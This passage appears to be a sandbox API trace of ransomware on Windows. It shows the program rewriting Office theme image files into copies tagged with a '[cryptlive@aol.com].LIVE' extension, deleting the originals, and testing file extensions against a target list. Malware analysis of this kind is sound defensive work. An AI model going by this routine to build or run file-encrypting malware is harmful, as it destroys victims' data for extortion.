Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 0x20 [0051.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.954] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.954] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0051.954] GetLastError () returned 0x0 [0051.954] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x5534, lpOverlapped=0x0) returned 1 [0052.124] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x5540, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x5540, lpOverlapped=0x0) returned 1 [0052.130] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.130] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.130] SetEndOfFile (hFile=0x184) returned 1 [0052.131] CloseHandle (hObject=0x184) returned 1 [0052.131] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.131] SetEndOfFile (hFile=0x1f8) returned 1 [0052.132] CloseHandle (hObject=0x1f8) returned 1 [0052.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0052.132] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 1 [0052.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0052.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0052.132] lstrlenW (lpString=".doc") returned 4 [0052.132] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.132] lstrlenW (lpString=".docx") returned 5 [0052.132] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.132] lstrlenW (lpString=".pdf") returned 4 [0052.132] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.132] lstrlenW (lpString=".xls") returned 4 [0052.132] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.132] lstrlenW (lpString=".xlsx") returned 5 [0052.132] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.133] lstrlenW (lpString=".ppt") returned 4 [0052.133] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0052.133] lstrlenW (lpString=".zip") returned 4 [0052.133] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.133] lstrlenW (lpString=".rar") returned 4 [0052.133] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.133] lstrlenW (lpString=".bz2") returned 4 [0052.133] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.133] lstrlenW (lpString=".7z") returned 3 [0052.133] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0052.133] lstrlenW (lpString=".dbf") returned 4 [0052.133] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0052.133] lstrlenW (lpString=".1cd") returned 4 [0052.133] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0052.133] lstrlenW (lpString=".jpg") returned 4 [0052.133] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0052.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0052.133] lstrlenW (lpString=".doc") returned 4 [0052.133] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.133] lstrlenW (lpString=".docx") returned 5 [0052.133] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.133] lstrlenW (lpString=".pdf") returned 4 [0052.133] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.133] lstrlenW (lpString=".xls") returned 4 [0052.133] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.133] lstrlenW (lpString=".xlsx") returned 5 [0052.133] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.134] lstrlenW (lpString=".ppt") returned 4 [0052.134] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0052.134] lstrlenW (lpString=".zip") returned 4 [0052.134] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.134] lstrlenW (lpString=".rar") returned 4 [0052.134] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.134] lstrlenW (lpString=".bz2") returned 4 [0052.134] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.134] lstrlenW (lpString=".7z") returned 3 [0052.134] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0052.134] lstrlenW (lpString=".dbf") returned 4 [0052.134] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0052.134] lstrlenW (lpString=".1cd") returned 4 [0052.134] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0052.134] lstrlenW (lpString=".jpg") returned 4 [0052.134] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.134] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0052.134] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0052.134] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.195] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=18380) returned 1 [0052.195] CloseHandle (hObject=0x1f8) returned 1 [0052.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 0x20 [0052.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.195] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.195] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0052.195] GetLastError () returned 0x0 [0052.195] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x47cc, lpOverlapped=0x0) returned 1 [0052.197] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x47d0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x47d0, lpOverlapped=0x0) returned 1 [0052.199] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.199] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.199] SetEndOfFile (hFile=0x184) returned 1 [0052.199] CloseHandle (hObject=0x184) returned 1 [0052.200] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.200] SetEndOfFile (hFile=0x1f8) returned 1 [0052.201] CloseHandle (hObject=0x1f8) returned 1 [0052.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0052.201] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 1 [0052.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0052.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0052.201] lstrlenW (lpString=".doc") returned 4 [0052.201] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.201] lstrlenW (lpString=".docx") returned 5 [0052.201] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.201] lstrlenW (lpString=".pdf") returned 4 [0052.201] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.201] lstrlenW (lpString=".xls") returned 4 [0052.201] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.201] lstrlenW (lpString=".xlsx") returned 5 [0052.201] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.201] lstrlenW (lpString=".ppt") returned 4 [0052.201] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0052.202] lstrlenW (lpString=".zip") returned 4 [0052.202] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.202] lstrlenW (lpString=".rar") returned 4 [0052.202] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.202] lstrlenW (lpString=".bz2") returned 4 [0052.202] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.202] lstrlenW (lpString=".7z") returned 3 [0052.202] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0052.202] lstrlenW (lpString=".dbf") returned 4 [0052.202] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0052.202] lstrlenW (lpString=".1cd") returned 4 [0052.202] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0052.202] lstrlenW (lpString=".jpg") returned 4 [0052.202] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0052.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0052.202] lstrlenW (lpString=".doc") returned 4 [0052.202] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.202] lstrlenW (lpString=".docx") returned 5 [0052.202] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.202] lstrlenW (lpString=".pdf") returned 4 [0052.202] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.202] lstrlenW (lpString=".xls") returned 4 [0052.202] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.202] lstrlenW (lpString=".xlsx") returned 5 [0052.202] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.202] lstrlenW (lpString=".ppt") returned 4 [0052.202] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0052.203] lstrlenW (lpString=".zip") returned 4 [0052.203] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.203] lstrlenW (lpString=".rar") returned 4 [0052.203] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.203] lstrlenW (lpString=".bz2") returned 4 [0052.203] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.203] lstrlenW (lpString=".7z") returned 3 [0052.203] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0052.203] lstrlenW (lpString=".dbf") returned 4 [0052.203] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0052.203] lstrlenW (lpString=".1cd") returned 4 [0052.203] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0052.203] lstrlenW (lpString=".jpg") returned 4 [0052.203] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.203] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0052.203] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0052.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.204] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1571) returned 1 [0052.204] CloseHandle (hObject=0x1f8) returned 1 [0052.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 0x20 [0052.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.204] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.205] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.205] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0052.206] GetLastError () returned 0x0 [0052.206] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x623, lpOverlapped=0x0) returned 1 [0052.208] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x630, lpOverlapped=0x0) returned 1 [0052.209] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.209] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.209] SetEndOfFile (hFile=0x184) returned 1 [0052.209] CloseHandle (hObject=0x184) returned 1 [0052.209] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.209] SetEndOfFile (hFile=0x1f8) returned 1 [0052.210] CloseHandle (hObject=0x1f8) returned 1 [0052.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0052.211] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 1 [0052.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0052.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0052.211] lstrlenW (lpString=".doc") returned 4 [0052.211] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.211] lstrlenW (lpString=".docx") returned 5 [0052.211] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.211] lstrlenW (lpString=".pdf") returned 4 [0052.211] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.211] lstrlenW (lpString=".xls") returned 4 [0052.211] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.211] lstrlenW (lpString=".xlsx") returned 5 [0052.211] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.211] lstrlenW (lpString=".ppt") returned 4 [0052.211] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0052.211] lstrlenW (lpString=".zip") returned 4 [0052.211] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.211] lstrlenW (lpString=".rar") returned 4 [0052.211] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.211] lstrlenW (lpString=".bz2") returned 4 [0052.211] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.211] lstrlenW (lpString=".7z") returned 3 [0052.211] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0052.212] lstrlenW (lpString=".dbf") returned 4 [0052.212] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0052.212] lstrlenW (lpString=".1cd") returned 4 [0052.212] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0052.212] lstrlenW (lpString=".jpg") returned 4 [0052.212] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0052.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0052.212] lstrlenW (lpString=".doc") returned 4 [0052.212] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.212] lstrlenW (lpString=".docx") returned 5 [0052.212] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.212] lstrlenW (lpString=".pdf") returned 4 [0052.212] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.212] lstrlenW (lpString=".xls") returned 4 [0052.212] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.212] lstrlenW (lpString=".xlsx") returned 5 [0052.212] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.212] lstrlenW (lpString=".ppt") returned 4 [0052.212] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0052.212] lstrlenW (lpString=".zip") returned 4 [0052.212] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.212] lstrlenW (lpString=".rar") returned 4 [0052.212] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.212] lstrlenW (lpString=".bz2") returned 4 [0052.212] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.212] lstrlenW (lpString=".7z") returned 3 [0052.212] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0052.213] lstrlenW (lpString=".dbf") returned 4 [0052.213] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0052.213] lstrlenW (lpString=".1cd") returned 4 [0052.213] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0052.213] lstrlenW (lpString=".jpg") returned 4 [0052.213] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.213] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0052.213] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0052.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.214] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=30170) returned 1 [0052.214] CloseHandle (hObject=0x1f8) returned 1 [0052.214] GetFileAttributesW 